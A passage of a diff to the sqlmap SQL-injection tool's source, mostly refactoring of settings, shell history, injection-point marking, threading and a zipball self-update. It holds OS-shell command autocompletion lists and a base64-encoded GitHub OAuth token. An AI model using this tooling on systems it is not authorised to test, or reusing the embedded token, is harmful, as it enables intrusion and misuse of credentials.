@@ -575,7 +597,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
+GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
 
 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32
@@ -590,7 +612,7 @@ HASHDB_RETRIEVE_RETRIES = 3
 HASHDB_END_TRANSACTION_RETRIES = 3
 
 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
-HASHDB_MILESTONE_VALUE = "dPHoJRQYvs"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
+HASHDB_MILESTONE_VALUE = "BZzRotigLX"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
 
 # Warn user of possible delay due to large page dump in full UNION query injections
 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -623,7 +645,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
 DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
 
 # Regular expression used for recognition of file inclusion errors
-FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
+FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
 
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
@@ -632,7 +654,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
 
 # Maximum response total page size (trimmed if larger)
-MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
+MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
 
 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
@@ -665,7 +687,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -740,7 +762,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
 
 # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
-CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf")
+CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
 
 # Prefixes used in brute force search for web server document root
 BRUTE_DOC_ROOT_PREFIXES = {
@@ -778,9 +800,9 @@ tr:nth-child(even) {
     background-color: #D3DFEE
 }
 td{
-    font-size:10px;
+    font-size:12px;
 }
 th{
-    font-size:10px;
+    font-size:12px;
 }
 </style>"""

lib/core/shell.py

@@ -53,28 +53,33 @@ def clearHistory():
     readline.clear_history()
 
 def saveHistory(completion=None):
-    if not readlineAvailable():
-        return
-
-    if completion == AUTOCOMPLETE_TYPE.SQL:
-        historyPath = paths.SQL_SHELL_HISTORY
-    elif completion == AUTOCOMPLETE_TYPE.OS:
-        historyPath = paths.OS_SHELL_HISTORY
-    else:
-        historyPath = paths.SQLMAP_SHELL_HISTORY
-
     try:
-        with open(historyPath, "w+"):
+        if not readlineAvailable():
+            return
+
+        if completion == AUTOCOMPLETE_TYPE.SQL:
+            historyPath = paths.SQL_SHELL_HISTORY
+        elif completion == AUTOCOMPLETE_TYPE.OS:
+            historyPath = paths.OS_SHELL_HISTORY
+        elif completion == AUTOCOMPLETE_TYPE.API:
+            historyPath = paths.API_SHELL_HISTORY
+        else:
+            historyPath = paths.SQLMAP_SHELL_HISTORY
+
+        try:
+            with open(historyPath, "w+"):
+                pass
+        except:
             pass
-    except:
-        pass
 
-    readline.set_history_length(MAX_HISTORY_LENGTH)
-    try:
-        readline.write_history_file(historyPath)
-    except IOError, msg:
-        warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
-        logger.warn(warnMsg)
+        readline.set_history_length(MAX_HISTORY_LENGTH)
+        try:
+            readline.write_history_file(historyPath)
+        except IOError, msg:
+            warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
+            logger.warn(warnMsg)
+    except KeyboardInterrupt:
+        pass
 
 def loadHistory(completion=None):
     if not readlineAvailable():
@@ -86,6 +91,8 @@ def loadHistory(completion=None):
         historyPath = paths.SQL_SHELL_HISTORY
     elif completion == AUTOCOMPLETE_TYPE.OS:
         historyPath = paths.OS_SHELL_HISTORY
+    elif completion == AUTOCOMPLETE_TYPE.API:
+        historyPath = paths.API_SHELL_HISTORY
     else:
         historyPath = paths.SQLMAP_SHELL_HISTORY
 
@@ -104,20 +111,20 @@ def autoCompletion(completion=None, os=None, commands=None):
         if os == OS.WINDOWS:
             # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
             completer = CompleterNG({
-                                      "copy": None, "del": None, "dir": None,
-                                      "echo": None, "md": None, "mem": None,
-                                      "move": None, "net": None, "netstat -na": None,
-                                      "ver": None, "xcopy": None, "whoami": None,
-                                    })
+                "copy": None, "del": None, "dir": None,
+                "echo": None, "md": None, "mem": None,
+                "move": None, "net": None, "netstat -na": None,
+                "ver": None, "xcopy": None, "whoami": None,
+            })
 
         else:
             # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
             completer = CompleterNG({
-                                      "cp": None, "rm": None, "ls": None,
-                                      "echo": None, "mkdir": None, "free": None,
-                                      "mv": None, "ifconfig": None, "netstat -natu": None,
-                                      "pwd": None, "uname": None, "id": None,
-                                    })
+                "cp": None, "rm": None, "ls": None,
+                "echo": None, "mkdir": None, "free": None,
+                "mv": None, "ifconfig": None, "netstat -natu": None,
+                "pwd": None, "uname": None, "id": None,
+            })
 
         readline.set_completer(completer.complete)
         readline.parse_and_bind("tab: complete")

lib/core/subprocessng.py

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import errno
 import os
 import subprocess
-import sys
 import time
 
 from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
     import select
     import fcntl
 
-    if (sys.hexversion >> 16) >= 0x202:
-        FCNTL = fcntl
-    else:
-        import FCNTL
-
 def blockingReadFromFD(fd):
     # Quick twist around original Twisted function
     # Blocking read from a non-blocking file descriptor

lib/core/target.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import codecs
 import functools
 import os
 import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapMissingPrivileges
+from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
 from lib.core.option import _setAuthCred
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
+from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
+from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
 from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -83,6 +85,7 @@ def _setRequestParams():
         conf.parameters[None] = "direct connection"
         return
 
+    hintNames = []
     testableParameters = False
 
     # Perform checks on GET parameters
@@ -101,7 +104,6 @@ def _setRequestParams():
 
     if conf.data is not None:
         conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
-        hintNames = []
 
         def process(match, repl):
             retVal = match.group(0)
@@ -142,14 +144,14 @@ def _setRequestParams():
                 if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                     conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                     conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
-                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
+                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
                     if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
                         _ = match.group(2)
-                        _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
-                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
+                        _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
+                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                         conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
 
                 kb.postHint = POST_HINT.JSON
@@ -230,9 +232,9 @@ def _setRequestParams():
             if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                 conf.parameters[PLACE.POST] = conf.data
 
-    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
+    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
 
-    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
+    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
         warnMsg = "you've provided target URL without any GET "
         warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
         warnMsg += "and without providing any POST parameters "
@@ -344,7 +346,7 @@ def _setRequestParams():
             # Url encoding of the header values should be avoided
             # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
 
-            if httpHeader.title() == HTTP_HEADER.USER_AGENT:
+            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                 conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -353,7 +355,7 @@ def _setRequestParams():
                     conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                     testableParameters = True
 
-            elif httpHeader.title() == HTTP_HEADER.REFERER:
+            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                 conf.parameters[PLACE.REFERER] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -362,7 +364,7 @@ def _setRequestParams():
                     conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                     testableParameters = True
 
-            elif httpHeader.title() == HTTP_HEADER.HOST:
+            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                 conf.parameters[PLACE.HOST] = urldecode(headerValue)
 
                 condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -377,7 +379,7 @@ def _setRequestParams():
                 if condition:
                     conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
                     conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
-                    conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
+                    conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
                     testableParameters = True
 
     if not conf.parameters:
@@ -391,7 +393,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -449,13 +451,10 @@ def _resumeHashDBValues():
     conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
 
     for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
-        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
-            injection.parameter in conf.paramDict[injection.place]:
-
+        if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
             if not conf.tech or intersect(conf.tech, injection.data.keys()):
                 if intersect(conf.tech, injection.data.keys()):
                     injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
-
                 if injection not in kb.injections:
                     kb.injections.append(injection)
 
@@ -470,7 +469,13 @@ def _resumeDBMS():
     value = hashDBRetrieve(HASHDB_KEYS.DBMS)
 
     if not value:
-        return
+        if conf.offline:
+            errMsg = "unable to continue in offline mode "
+            errMsg += "because of lack of usable "
+            errMsg += "session data"
+            raise SqlmapNoneDataException(errMsg)
+        else:
+            return
 
     dbms = value.lower()
     dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -574,14 +579,14 @@ def _createFilesDir():
     Create the file directory.
     """
 
-    if not conf.rFile:
+    if not conf.fileRead:
         return
 
     conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
 
     if not os.path.isdir(conf.filePath):
         try:
-            os.makedirs(conf.filePath, 0755)
+            os.makedirs(conf.filePath)
         except OSError, ex:
             tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
             warnMsg = "unable to create files directory "
@@ -603,7 +608,7 @@ def _createDumpDir():
 
     if not os.path.isdir(conf.dumpPath):
         try:
-            os.makedirs(conf.dumpPath, 0755)
+            os.makedirs(conf.dumpPath)
         except OSError, ex:
             tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
             warnMsg = "unable to create dump directory "
@@ -622,39 +627,41 @@ def _createTargetDirs():
     Create the output directory.
     """
 
-    try:
-        if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
-
-        _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
-        open(_, "w+b").close()
-        os.remove(_)
-
-        if conf.outputDir:
-            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
-            logger.warn(warnMsg)
-    except (OSError, IOError), ex:
+    for context in "output", "history":
+        directory = paths["SQLMAP_%s_PATH" % context.upper()]
         try:
-            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
-        except Exception, _:
-            errMsg = "unable to write to the temporary directory ('%s'). " % _
-            errMsg += "Please make sure that your disk is not full and "
-            errMsg += "that you have sufficient write permissions to "
-            errMsg += "create temporary files and/or directories"
-            raise SqlmapSystemException(errMsg)
+            if not os.path.isdir(directory):
+                os.makedirs(directory)
 
-        warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
-        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
-        warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
-        logger.warn(warnMsg)
+            _ = os.path.join(directory, randomStr())
+            open(_, "w+b").close()
+            os.remove(_)
 
-        paths.SQLMAP_OUTPUT_PATH = tempDir
+            if conf.outputDir and context == "output":
+                warnMsg = "using '%s' as the %s directory" % (directory, context)
+                logger.warn(warnMsg)
+        except (OSError, IOError), ex:
+            try:
+                tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
+            except Exception, _:
+                errMsg = "unable to write to the temporary directory ('%s'). " % _
+                errMsg += "Please make sure that your disk is not full and "
+                errMsg += "that you have sufficient write permissions to "
+                errMsg += "create temporary files and/or directories"
+                raise SqlmapSystemException(errMsg)
+
+            warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
+            warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
+            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
+            logger.warn(warnMsg)
+
+            paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
 
     conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
 
     try:
         if not os.path.isdir(conf.outputPath):
-            os.makedirs(conf.outputPath, 0755)
+            os.makedirs(conf.outputPath)
     except (OSError, IOError, TypeError), ex:
         try:
             tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
@@ -672,8 +679,10 @@ def _createTargetDirs():
 
         conf.outputPath = tempDir
 
+    conf.outputPath = getUnicode(conf.outputPath)
+
     try:
-        with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
+        with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
             f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
             f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
             f.write("  # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
@@ -692,6 +701,13 @@ def _createTargetDirs():
     _createFilesDir()
     _configureDumper()
 
+def _setAuxOptions():
+    """
+    Setup auxiliary (host-dependent) options
+    """
+
+    kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
+
 def _restoreMergedOptions():
     """
     Restore merged options (command line, configuration file and default values)
@@ -738,6 +754,9 @@ def initTargetEnv():
             setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
             kb.postSpaceToPlus = '+' in original
 
+    match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
+    kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
+
 def setupTargetEnv():
     _createTargetDirs()
     _setRequestParams()
@@ -745,3 +764,4 @@ def setupTargetEnv():
     _resumeHashDBValues()
     _setResultsFile()
     _setAuthCred()
+    _setAuxOptions()

lib/core/threads.py

@@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False):
         kb.threadException = True
         raise
     except Exception, ex:
-        if not silent:
+        if not silent and kb.get("threadContinue"):
             logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
-            if conf.verbose > 1:
+            if conf.get("verbose") > 1:
                 traceback.print_exc()
 
 def setDaemon(thread):
@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
 
     except (KeyboardInterrupt, SqlmapUserQuitException), ex:
         print
+        kb.prependFlag = False
         kb.threadContinue = False
         kb.threadException = True
 
@@ -188,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadException = True
         logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
 
-        if conf.verbose > 1:
+        if conf.get("verbose") > 1:
             traceback.print_exc()
 
     except:

lib/core/update.py

@@ -5,21 +5,30 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import locale
+import glob
 import os
 import re
+import shutil
 import subprocess
+import sys
 import time
+import urllib
+import zipfile
 
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
+from lib.core.common import getLatestRevision
 from lib.core.common import pollProcess
+from lib.core.common import readInput
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.revision import getRevisionNumber
 from lib.core.settings import GIT_REPOSITORY
 from lib.core.settings import IS_WIN
+from lib.core.settings import VERSION
+from lib.core.settings import ZIPBALL_PAGE
+from lib.core.settings import UNICODE_ENCODING
 
 def update():
     if not conf.updateAll:
@@ -28,9 +37,64 @@ def update():
     success = False
 
     if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
-        errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-        errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
-        logger.error(errMsg)
+        warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
+        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
+        logger.warn(warnMsg)
+
+        if VERSION == getLatestRevision():
+            logger.info("already at the latest revision '%s'" % getRevisionNumber())
+            return
+
+        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
+        if readInput(message, default='N', boolean=True):
+            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
+
+            try:
+                open(os.path.join(directory, "sqlmap.py"), "w+b")
+            except Exception, ex:
+                errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
+                logger.error(errMsg)
+            else:
+                attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
+                for wildcard in ('*', ".*"):
+                    for _ in glob.glob(os.path.join(directory, wildcard)):
+                        try:
+                            if os.path.isdir(_):
+                                shutil.rmtree(_)
+                            else:
+                                os.remove(_)
+                        except:
+                            pass
+
+                if glob.glob(os.path.join(directory, '*')):
+                    errMsg = "unable to clear the content of directory '%s'" % directory
+                    logger.error(errMsg)
+                else:
+                    try:
+                        archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
+
+                        with zipfile.ZipFile(archive) as f:
+                            for info in f.infolist():
+                                info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
+                                if info.filename:
+                                    f.extract(info, directory)
+
+                        filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
+                        if os.path.isfile(filepath):
+                            with open(filepath, "rb") as f:
+                                version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
+                                logger.info("updated to the latest version '%s#dev'" % version)
+                                success = True
+                    except Exception, ex:
+                        logger.error("update could not be completed ('%s')" % getSafeExString(ex))
+                    else:
+                        if not success:
+                            logger.error("update could not be completed")
+                        else:
+                            try:
+                                os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
+                            except OSError:
+                                logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
     else:
         infoMsg = "updating sqlmap to the latest development revision from the "
         infoMsg += "GitHub repository"
@@ -42,7 +106,7 @@ def update():
         dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
 
         try:
-            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding()))  # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
+            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
             pollProcess(process, True)
             stdout, stderr = process.communicate()
             success = not process.returncode
@@ -55,7 +119,7 @@ def update():
         else:
             if "Not a git repository" in stderr:
                 errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-                errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+                errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
                 logger.error(errMsg)
             else:
                 logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +132,7 @@ def update():
             infoMsg += "download the latest snapshot from "
             infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
         else:
-            infoMsg = "for Linux platform it's required "
+            infoMsg = "for Linux platform it's recommended "
             infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
 
         logger.info(infoMsg)

lib/core/wordlist.py

@@ -47,7 +47,7 @@ class Wordlist(object):
                     errMsg = "something appears to be wrong with "
                     errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                     errMsg += "sure that you haven't made any changes to it"
-                    raise SqlmapInstallationException, errMsg
+                    raise SqlmapInstallationException(errMsg)
                 if len(_.namelist()) == 0:
                     errMsg = "no file(s) inside '%s'" % self.current
                     raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
                 errMsg = "something appears to be wrong with "
                 errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                 errMsg += "sure that you haven't made any changes to it"
-                raise SqlmapInstallationException, errMsg
+                raise SqlmapInstallationException(errMsg)
             except StopIteration:
                 self.adjust()
                 retVal = self.iter.next().rstrip()

lib/parse/cmdline.py

@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
     # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
     _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
 
-    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
-            "\"%s\"" % _ if " " in _ else _)
-
+    usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
     parser = OptionParser(usage=usage)
 
     try:
@@ -101,29 +99,27 @@ def cmdLineParser(argv=None):
                            help="Force usage of given HTTP method (e.g. PUT)")
 
         request.add_option("--data", dest="data",
-                           help="Data string to be sent through POST")
+                           help="Data string to be sent through POST (e.g. \"id=1\")")
 
         request.add_option("--param-del", dest="paramDel",
-                           help="Character used for splitting parameter values")
+                           help="Character used for splitting parameter values (e.g. &)")
 
         request.add_option("--cookie", dest="cookie",
-                           help="HTTP Cookie header value")
+                           help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
 
         request.add_option("--cookie-del", dest="cookieDel",
-                           help="Character used for splitting cookie values")
+                           help="Character used for splitting cookie values (e.g. ;)")
 
         request.add_option("--load-cookies", dest="loadCookies",
                            help="File containing cookies in Netscape/wget format")
 
-        request.add_option("--drop-set-cookie", dest="dropSetCookie",
-                           action="store_true",
+        request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
                            help="Ignore Set-Cookie header from response")
 
         request.add_option("--user-agent", dest="agent",
                            help="HTTP User-Agent header value")
 
-        request.add_option("--random-agent", dest="randomAgent",
-                           action="store_true",
+        request.add_option("--random-agent", dest="randomAgent", action="store_true",
                            help="Use randomly selected HTTP User-Agent header value")
 
         request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
